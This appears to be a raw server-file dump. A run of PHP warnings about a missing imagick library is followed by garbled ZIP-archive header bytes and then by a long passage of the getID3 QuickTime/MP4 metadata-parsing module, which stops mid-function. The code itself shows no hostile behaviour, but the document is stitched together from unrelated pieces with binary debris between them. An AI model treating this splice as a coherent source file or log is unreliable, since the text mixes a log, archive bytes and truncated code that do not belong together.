[28-Aug-2026 07:53:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:53:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:54:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:02:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:15:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
PKE]Xݓݓ module.audio-video.quicktime.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.quicktime.php                            //
// module for analyzing Quicktime and MP3-in-MP4 files         //
// dependencies: module.audio.mp3.php                          //
// dependencies: module.tag.id3v2.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup

class getid3_quicktime extends getid3_handler
{

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $ReturnAtomData        = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $ParseAllPossibleAtoms = false;

	/**
	 * real ugly, but so is the QuickTime structure that stores keys and values in different multi-nested locations that are hard to relate to each other
	 * https://github.com/JamesHeinrich/getID3/issues/214
	 *
	 * @var int
	 */
	private $metaDATAkey = 1;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->metaDATAkey = 1;
		$info['fileformat'] = 'quicktime';
		$info['quicktime']['hinting']    = false;
		$info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present

		$this->fseek($info['avdataoffset']);

		$offset      = 0;
		$atomcounter = 0;
		$atom_data_read_buffer_size = $info['php_memory_limit'] ? round($info['php_memory_limit'] / 4) : $this->getid3->option_fread_buffer_size * 1024; // set read buffer to 25% of PHP memory limit (if one is specified), otherwise use option_fread_buffer_size [default: 32MB]
		while ($offset < $info['avdataend']) {
			if (!getid3_lib::intValueSupported($offset)) {
				$this->error('Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions');
				break;
			}
			$this->fseek($offset);
			$AtomHeader = $this->fread(8);

			// https://github.com/JamesHeinrich/getID3/issues/382
			// Atom sizes are stored as 32-bit number in most cases, but sometimes (notably for "mdat")
			// a 64-bit value is required, in which case the normal 32-bit size field is set to 0x00000001
			// and the 64-bit "real" size value is the next 8 bytes.
			$atom_size_extended_bytes = 0;
			$atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4));
			$atomname = substr($AtomHeader, 4, 4);
			if ($atomsize == 1) {
				$atom_size_extended_bytes = 8;
				$atomsize = getid3_lib::BigEndian2Int($this->fread($atom_size_extended_bytes));
			}

			if (($offset + $atomsize) > $info['avdataend']) {
				$info['quicktime'][$atomname]['name']   = $atomname;
				$info['quicktime'][$atomname]['size']   = $atomsize;
				$info['quicktime'][$atomname]['offset'] = $offset;
				$this->error('Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)');
				return false;
			}
			if ($atomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				$info['quicktime'][$atomname]['name']   = $atomname;
				$info['quicktime'][$atomname]['size']   = $atomsize;
				$info['quicktime'][$atomname]['offset'] = $offset;
				break;
			}
			$atomHierarchy = array();
			$parsedAtomData = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize - $atom_size_extended_bytes, $atom_data_read_buffer_size)), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms);
			$parsedAtomData['name']   = $atomname;
			$parsedAtomData['size']   = $atomsize;
			$parsedAtomData['offset'] = $offset;
			if ($atom_size_extended_bytes) {
				$parsedAtomData['xsize_bytes'] = $atom_size_extended_bytes;
			}
			if (in_array($atomname, array('uuid'))) {
				@$info['quicktime'][$atomname][] = $parsedAtomData;
			} else {
				$info['quicktime'][$atomname] = $parsedAtomData;
			}

			$offset += $atomsize;
			$atomcounter++;
		}

		if (!empty($info['avdataend_tmp'])) {
			// this value is assigned to a temp value and then erased because
			// otherwise any atoms beyond the 'mdat' atom would not get parsed
			$info['avdataend'] = $info['avdataend_tmp'];
			unset($info['avdataend_tmp']);
		}

		if (isset($info['quicktime']['comments']['chapters']) && is_array($info['quicktime']['comments']['chapters']) && (count($info['quicktime']['comments']['chapters']) > 0)) {
			$durations = $this->quicktime_time_to_sample_table($info);
			for ($i = 0; $i < count($info['quicktime']['comments']['chapters']); $i++) {
				$bookmark = array();
				$bookmark['title'] = $info['quicktime']['comments']['chapters'][$i];
				if (isset($durations[$i])) {
					$bookmark['duration_sample'] = $durations[$i]['sample_duration'];
					if ($i > 0) {
						$bookmark['start_sample'] = $info['quicktime']['bookmarks'][($i - 1)]['start_sample'] + $info['quicktime']['bookmarks'][($i - 1)]['duration_sample'];
					} else {
						$bookmark['start_sample'] = 0;
					}
					if ($time_scale = $this->quicktime_bookmark_time_scale($info)) {
						$bookmark['duration_seconds'] = $bookmark['duration_sample'] / $time_scale;
						$bookmark['start_seconds']    = $bookmark['start_sample']    / $time_scale;
					}
				}
				$info['quicktime']['bookmarks'][] = $bookmark;
			}
		}

		if (isset($info['quicktime']['temp_meta_key_names'])) {
			unset($info['quicktime']['temp_meta_key_names']);
		}

		if (!empty($info['quicktime']['comments']['location.ISO6709'])) {
			// https://en.wikipedia.org/wiki/ISO_6709
			foreach ($info['quicktime']['comments']['location.ISO6709'] as $ISO6709string) {
				$ISO6709parsed = array('latitude'=>false, 'longitude'=>false, 'altitude'=>false);
				if (preg_match('#^([\\+\\-])([0-9]{2}|[0-9]{4}|[0-9]{6})(\\.[0-9]+)?([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?(([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?)?/$#', $ISO6709string, $matches)) {
					@list($dummy, $lat_sign, $lat_deg, $lat_deg_dec, $lon_sign, $lon_deg, $lon_deg_dec, $dummy, $alt_sign, $alt_deg, $alt_deg_dec) = $matches;

					if (strlen($lat_deg) == 2) {        // [+-]DD.D
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * (float) (ltrim($lat_deg, '0').$lat_deg_dec);
					} elseif (strlen($lat_deg) == 4) {  // [+-]DDMM.M
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * (int) ltrim(substr($lat_deg, 0, 2), '0') + ((float) (ltrim(substr($lat_deg, 2, 2), '0').$lat_deg_dec) / 60);
					} elseif (strlen($lat_deg) == 6) {  // [+-]DDMMSS.S
						$ISO6709parsed['latitude'] = (($lat_sign == '-') ? -1 : 1) * (int) ltrim(substr($lat_deg, 0, 2), '0') + ((int) ltrim(substr($lat_deg, 2, 2), '0') / 60) + ((float) (ltrim(substr($lat_deg, 4, 2), '0').$lat_deg_dec) / 3600);
					}

					if (strlen($lon_deg) == 3) {        // [+-]DDD.D
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * (float) (ltrim($lon_deg, '0').$lon_deg_dec);
					} elseif (strlen($lon_deg) == 5) {  // [+-]DDDMM.M
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * (int) ltrim(substr($lon_deg, 0, 2), '0') + ((float) (ltrim(substr($lon_deg, 2, 2), '0').$lon_deg_dec) / 60);
					} elseif (strlen($lon_deg) == 7) {  // [+-]DDDMMSS.S
						$ISO6709parsed['longitude'] = (($lon_sign == '-') ? -1 : 1) * (int) ltrim(substr($lon_deg, 0, 2), '0') + ((int) ltrim(substr($lon_deg, 2, 2), '0') / 60) + ((float) (ltrim(substr($lon_deg, 4, 2), '0').$lon_deg_dec) / 3600);
					}

					if (strlen($alt_deg) == 3) {        // [+-]DDD.D
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * (float) (ltrim($alt_deg, '0').$alt_deg_dec);
					} elseif (strlen($alt_deg) == 5) {  // [+-]DDDMM.M
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * (int) ltrim(substr($alt_deg, 0, 2), '0') + ((float) (ltrim(substr($alt_deg, 2, 2), '0').$alt_deg_dec) / 60);
					} elseif (strlen($alt_deg) == 7) {  // [+-]DDDMMSS.S
						$ISO6709parsed['altitude'] = (($alt_sign == '-') ? -1 : 1) * (int) ltrim(substr($alt_deg, 0, 2), '0') + ((int) ltrim(substr($alt_deg, 2, 2), '0') / 60) + ((float) (ltrim(substr($alt_deg, 4, 2), '0').$alt_deg_dec) / 3600);
					}

					foreach (array('latitude', 'longitude', 'altitude') as $key) {
						if ($ISO6709parsed[$key] !== false) {
							$value = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]);
							if (!isset($info['quicktime']['comments']['gps_'.$key]) || !in_array($value, $info['quicktime']['comments']['gps_'.$key])) {
								@$info['quicktime']['comments']['gps_'.$key][] = (($lat_sign == '-') ? -1 : 1) * floatval($ISO6709parsed[$key]);
							}
						}
					}
				}
				if ($ISO6709parsed['latitude'] === false) {
					$this->warning('location.ISO6709 string not parsed correctly: "'.$ISO6709string.'", please submit as a bug');
				}
				break;
			}
		}

		if (!isset($info['bitrate']) && !empty($info['playtime_seconds'])) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) {
			$info['audio']['bitrate'] = $info['bitrate'];
		}
		if (!empty($info['bitrate']) && !empty($info['audio']['bitrate']) && empty($info['video']['bitrate']) && !empty($info['video']['frame_rate']) && !empty($info['video']['resolution_x']) && ($info['bitrate'] > $info['audio']['bitrate'])) {
			$info['video']['bitrate'] = $info['bitrate'] - $info['audio']['bitrate'];
		}
		if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) {
			foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) {
				$samples_per_second = $samples_count / $info['playtime_seconds'];
				if ($samples_per_second > 240) {
					// has to be audio samples
				} else {
					$info['video']['frame_rate'] = $samples_per_second;
					break;
				}
			}
		}
		if ($info['audio']['dataformat'] == 'mp4') {
			$info['fileformat'] = 'mp4';
			if (empty($info['video']['resolution_x'])) {
				$info['mime_type']  = 'audio/mp4';
				unset($info['video']['dataformat']);
			} else {
				$info['mime_type']  = 'video/mp4';
			}
		}
		if (!empty($info['quicktime']['ftyp']['signature']) && in_array($info['quicktime']['ftyp']['signature'], array('heic','heix','hevc','hevx','heim','heis','hevm','hevs'))) {
			if ($info['mime_type'] == 'video/quicktime') { // default value, as we
				// https://en.wikipedia.org/wiki/High_Efficiency_Image_File_Format
$this->error('HEIF files not currently supported');
				switch ($info['quicktime']['ftyp']['signature']) {
					// https://github.com/strukturag/libheif/issues/83 (comment by Dirk Farin 2018-09-14)
					case 'heic': // the usual HEIF images
					case 'heix': // 10bit images, or anything that uses h265 with range extension
					case 'hevc': // brands for image sequences
					case 'hevx': // brands for image sequences
					case 'heim': // multiview
					case 'heis': // scalable
					case 'hevm': // multiview sequence
					case 'hevs': // scalable sequence
						$info['fileformat'] = 'heif';
						$info['mime_type'] = 'image/heif';
						break;
				}
			}
		}

		if (!$this->ReturnAtomData) {
			unset($info['quicktime']['moov']);
		}

		if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) {
			$info['audio']['dataformat'] = 'quicktime';
		}
		if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) {
			$info['video']['dataformat'] = 'quicktime';
		}
		if (isset($info['video']) && ($info['mime_type'] == 'audio/mp4') && empty($info['video']['resolution_x']) && empty($info['video']['resolution_y']))  {
			unset($info['video']);
		}

		return true;
	}

	/**
	 * @param string $atomname
	 * @param int    $atomsize
	 * @param string $atom_data
	 * @param int    $baseoffset
	 * @param array  $atomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
	public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		// http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
		// https://code.google.com/p/mp4v2/wiki/iTunesMetadata

		$info = &$this->getid3->info;

		$atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see https://www.getid3.org/phpBB3/viewtopic.php?t=1717
		array_push($atomHierarchy, $atomname);
		$atom_structure              = array();
		$atom_structure['hierarchy'] = implode(' ', $atomHierarchy);
		$atom_structure['name']      = $atomname;
		$atom_structure['size']      = $atomsize;
		$atom_structure['offset']    = $baseoffset;
		if (substr($atomname, 0, 3) == "\x00\x00\x00") {
			// https://github.com/JamesHeinrich/getID3/issues/139
			$atomname = getid3_lib::BigEndian2Int($atomname);
			$atom_structure['name'] = $atomname;
			$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
		} else {
			switch ($atomname) {
				case 'moov': // MOVie container atom
				case 'moof': // MOvie Fragment box
				case 'trak': // TRAcK container atom
				case 'traf': // TRAck Fragment box
				case 'clip': // CLIPping container atom
				case 'matt': // track MATTe container atom
				case 'edts': // EDiTS container atom
				case 'tref': // Track REFerence container atom
				case 'mdia': // MeDIA container atom
				case 'minf': // Media INFormation container atom
				case 'dinf': // Data INFormation container atom
				case 'nmhd': // Null Media HeaDer container atom
				case 'udta': // User DaTA container atom
				case 'cmov': // Compressed MOVie container atom
				case 'rmra': // Reference Movie Record Atom
				case 'rmda': // Reference Movie Descriptor Atom
				case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR)
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'ilst': // Item LiST container atom
					if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) {
						// some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
						$allnumericnames = true;
						foreach ($atom_structure['subatoms'] as $subatomarray) {
							if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) {
								$allnumericnames = false;
								break;
							}
						}
						if ($allnumericnames) {
							$newData = array();
							foreach ($atom_structure['subatoms'] as $subatomarray) {
								foreach ($subatomarray['subatoms'] as $newData_subatomarray) {
									unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']);
									$newData[$subatomarray['name']] = $newData_subatomarray;
									break;
								}
							}
							$atom_structure['data'] = $newData;
							unset($atom_structure['subatoms']);
						}
					}
					break;

				case 'stbl': // Sample TaBLe container atom
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					$isVideo = false;
					$framerate  = 0;
					$framecount = 0;
					foreach ($atom_structure['subatoms'] as $key => $value_array) {
						if (isset($value_array['sample_description_table'])) {
							foreach ($value_array['sample_description_table'] as $key2 => $value_array2) {
								if (isset($value_array2['data_format'])) {
									switch ($value_array2['data_format']) {
										case 'avc1':
										case 'mp4v':
											// video data
											$isVideo = true;
											break;
										case 'mp4a':
											// audio data
											break;
									}
								}
							}
						} elseif (isset($value_array['time_to_sample_table'])) {
							foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) {
								if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0) && !empty($info['quicktime']['time_scale'])) {
									$framerate  = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3);
									$framecount = $value_array2['sample_count'];
								}
							}
						}
					}
					if ($isVideo && $framerate) {
						$info['quicktime']['video']['frame_rate'] = $framerate;
						$info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate'];
					}
					if ($isVideo && $framecount) {
						$info['quicktime']['video']['frame_count'] = $framecount;
					}
					break;


				case "\xA9".'alb': // ALBum
				case "\xA9".'ART': //
				case "\xA9".'art': // ARTist
				case "\xA9".'aut': //
				case "\xA9".'cmt': // CoMmenT
				case "\xA9".'com': // COMposer
				case "\xA9".'cpy': //
				case "\xA9".'day': // content created year
				case "\xA9".'dir': //
				case "\xA9".'ed1': //
				case "\xA9".'ed2': //
				case "\xA9".'ed3': //
				case "\xA9".'ed4': //
				case "\xA9".'ed5': //
				case "\xA9".'ed6': //
				case "\xA9".'ed7': //
				case "\xA9".'ed8': //
				case "\xA9".'ed9': //
				case "\xA9".'enc': //
				case "\xA9".'fmt': //
				case "\xA9".'gen': // GENre
				case "\xA9".'grp': // GRouPing
				case "\xA9".'hst': //
				case "\xA9".'inf': //
				case "\xA9".'lyr': // LYRics
				case "\xA9".'mak': //
				case "\xA9".'mod': //
				case "\xA9".'nam': // full NAMe
				case "\xA9".'ope': //
				case "\xA9".'PRD': //
				case "\xA9".'prf': //
				case "\xA9".'req': //
				case "\xA9".'src': //
				case "\xA9".'swr': //
				case "\xA9".'too': // encoder
				case "\xA9".'trk': // TRacK
				case "\xA9".'url': //
				case "\xA9".'wrn': //
				case "\xA9".'wrt': // WRiTer
				case '----': // itunes specific
				case 'aART': // Album ARTist
				case 'akID': // iTunes store account type
				case 'apID': // Purchase Account
				case 'atID': //
				case 'catg': // CaTeGory
				case 'cmID': //
				case 'cnID': //
				case 'covr': // COVeR artwork
				case 'cpil': // ComPILation
				case 'cprt': // CoPyRighT
				case 'desc': // DESCription
				case 'disk': // DISK number
				case 'egid': // Episode Global ID
				case 'geID': //
				case 'gnre': // GeNRE
				case 'hdvd': // HD ViDeo
				case 'keyw': // KEYWord
				case 'ldes': // Long DEScription
				case 'pcst': // PodCaST
				case 'pgap': // GAPless Playback
				case 'plID': //
				case 'purd': // PURchase Date
				case 'purl': // Podcast URL
				case 'rati': //
				case 'rndu': //
				case 'rpdu': //
				case 'rtng': // RaTiNG
				case 'sfID': // iTunes store country
				case 'soaa': // SOrt Album Artist
				case 'soal': // SOrt ALbum
				case 'soar': // SOrt ARtist
				case 'soco': // SOrt COmposer
				case 'sonm': // SOrt NaMe
				case 'sosn': // SOrt Show Name
				case 'stik': //
				case 'tmpo': // TeMPO (BPM)
				case 'trkn': // TRacK Number
				case 'tven': // tvEpisodeID
				case 'tves': // TV EpiSode
				case 'tvnn': // TV Network Name
				case 'tvsh': // TV SHow Name
				case 'tvsn': // TV SeasoN
					if ($atom_parent == 'udta') {
						// User data atom handler
						$atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
						$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2));
						$atom_structure['data']        =                           substr($atom_data, 4);

						$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
						if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
							$info['comments']['language'][] = $atom_structure['language'];
						}
					} else {
						// Apple item list box atom handler
						$atomoffset = 0;
						if (substr($atom_data, 2, 2) == "\x10\xB5") {
							// not sure what it means, but observed on iPhone4 data.
							// Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
							while ($atomoffset < strlen($atom_data)) {
								$boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset,     2));
								$boxsmalltype =                           substr($atom_data, $atomoffset + 2, 2);
								$boxsmalldata =                           substr($atom_data, $atomoffset + 4, $boxsmallsize);
								if ($boxsmallsize <= 1) {
									$this->warning('Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
									$atom_structure['data'] = null;
									$atomoffset = strlen($atom_data);
									break;
								}
								switch ($boxsmalltype) {
									case "\x10\xB5":
										$atom_structure['data'] = $boxsmalldata;
										break;
									default:
										$this->warning('Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset);
										$atom_structure['data'] = $atom_data;
										break;
								}
								$atomoffset += (4 + $boxsmallsize);
							}
						} else {
							while ($atomoffset < strlen($atom_data)) {
								$boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4));
								$boxtype =                           substr($atom_data, $atomoffset + 4, 4);
								$boxdata =                           substr($atom_data, $atomoffset + 8, $boxsize - 8);
								if ($boxsize <= 1) {
									$this->warning('Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
									$atom_structure['data'] = null;
									$atomoffset = strlen($atom_data);
									break;
								}
								$atomoffset += $boxsize;

								switch ($boxtype) {
									case 'mean':
									case 'name':
										$atom_structure[$boxtype] = substr($boxdata, 4);
										break;

									case 'data':
										$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($boxdata,  0, 1));
										$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata,  1, 3));
										switch ($atom_structure['flags_raw']) {
											case  0: // data flag
											case 21: // tmpo/cpil flag
												switch ($atomname) {
													case 'cpil':
													case 'hdvd':
													case 'pcst':
													case 'pgap':
														// 8-bit integer (boolean)
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														break;

													case 'tmpo':
														// 16-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2));
														break;

													case 'disk':
													case 'trkn':
														// binary
														$num       = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2));
														$num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2));
														$atom_structure['data']  = empty($num) ? '' : $num;
														$atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total;
														break;

													case 'gnre':
														// enum
														$GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
														$atom_structure['data']    = getid3_id3v1::LookupGenreName($GenreID - 1);
														break;

													case 'rtng':
														// 8-bit integer
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														$atom_structure['data']    = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]);
														break;

													case 'stik':
														// 8-bit integer (enum)
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														$atom_structure['data']    = $this->QuicktimeSTIKLookup($atom_structure[$atomname]);
														break;

													case 'sfID':
														// 32-bit integer
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
														$atom_structure['data']    = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]);
														break;

													case 'egid':
													case 'purl':
														$atom_structure['data'] = substr($boxdata, 8);
														break;

													case 'plID':
														// 64-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 8));
														break;

													case 'covr':
														$atom_structure['data'] = substr($boxdata, 8);
														// not a foolproof check, but better than nothing
														if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/jpeg';
														} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/png';
														} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/gif';
														}
														$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover');
														break;

													case 'atID':
													case 'cnID':
													case 'geID':
													case 'tves':
													case 'tvsn':
													default:
														// 32-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
												}
												break;

											case  1: // text flag
											case 13: // image flag
											default:
												$atom_structure['data'] = substr($boxdata, 8);
												if ($atomname == 'covr') {
													if (!empty($atom_structure['data'])) {
														$atom_structure['image_mime'] = 'image/unknown'; // provide default MIME type to ensure array keys exist
														if (function_exists('getimagesizefromstring') && ($getimagesize = getimagesizefromstring($atom_structure['data'])) && !empty($getimagesize['mime'])) {
															$atom_structure['image_mime'] = $getimagesize['mime'];
														} else {
															// if getimagesizefromstring is not available, or fails for some reason, fall back to simple detection of common image formats
															$ImageFormatSignatures = array(
																'image/jpeg' => "\xFF\xD8\xFF",
																'image/png'  => "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A",
																'image/gif'  => 'GIF',
															);
															foreach ($ImageFormatSignatures as $mime => $image_format_signature) {
																if (substr($atom_structure['data'], 0, strlen($image_format_signature)) == $image_format_signature) {
																	$atom_structure['image_mime'] = $mime;
																	break;
																}
															}
														}
														$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover');
													} else {
														$this->warning('Unknown empty "covr" image at offset '.$baseoffset);
													}
												}
												break;

										}
										break;

									default:
										$this->warning('Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset);
										$atom_structure['data'] = $atom_data;

								}
							}
						}
					}
					$this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']);
					break;


				case 'play': // auto-PLAY atom
					$atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));

					$info['quicktime']['autoplay'] = $atom_structure['autoplay'];
					break;


				case 'WLOC': // Window LOCation atom
					$atom_structure['location_x']  = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2));
					$atom_structure['location_y']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 2));
					break;


				case 'LOOP': // LOOPing atom
				case 'SelO': // play SELection Only atom
				case 'AllF': // play ALL Frames atom
					$atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'name': //
				case 'MCPS': // Media Cleaner PRo
				case '@PRM': // adobe PReMiere version
				case '@PRQ': // adobe PRemiere Quicktime version
					$atom_structure['data'] = $atom_data;
					break;


				case 'cmvd': // Compressed MooV Data atom
